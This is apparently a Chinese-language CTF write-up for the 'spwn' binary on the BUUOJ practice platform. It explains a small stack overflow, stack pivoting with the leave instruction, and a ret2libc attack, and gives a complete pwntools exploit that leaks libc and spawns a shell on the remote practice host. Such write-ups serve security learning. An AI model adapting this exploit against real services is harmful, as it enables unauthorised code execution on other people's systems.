vul_function():
ssize_t vul_function() { size_t v0; // eax size_t v1; // eax char buf; // [esp+0h] [ebp-18h] v0 = strlen(m1); write(1, m1, v0); read(0, &s, 0x200u); v1 = strlen(m2); write(1, m2, v1); return read(0, &buf, 0x20u); }
read(0, &buf, 0x20u)
存在栈溢出,但是溢出的空间太小。可以把内容写在s变量里,利用栈迁移把buf变量迁到s那。
栈迁移主要利用leave
,leave
分开就是:
mov esp,ebp
pop ebp
把ebp的值换成s变量的位置,方便栈迁移。leave的地址在这里:
剩下的就是普通的ret2libc了:
from pwn import * elf = ELF('./spwn') local = 0 if local == 1: io = process('./spwn') #gdb.attach(io,'b * 0x08048511') libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',26203) bss = 0x804a300 leave_addr = 0x08048511 write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main'] io.recvuntil("name?") shellcode = p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.sendline(shellcode) io.recvuntil("say?") payload = 'a'*0x18+p32(bss)+p32(leave_addr) io.send(payload) write_addr = u32(io.recv(4)) print(hex(write_addr)) libcbase = write_addr - 0x0d43c0 system_addr = libcbase + 0x3a940 binsh = libcbase + 0x15902b io.recvuntil("name?") io.sendline(p32(0xdeadbeef)+p32(system_addr)+p32(0)+p32(binsh)+p32(0)) io.recvuntil("say?") payload = 'a'*0x18+p32(bss)+p32(leave_addr) io.send(payload) io.interactive()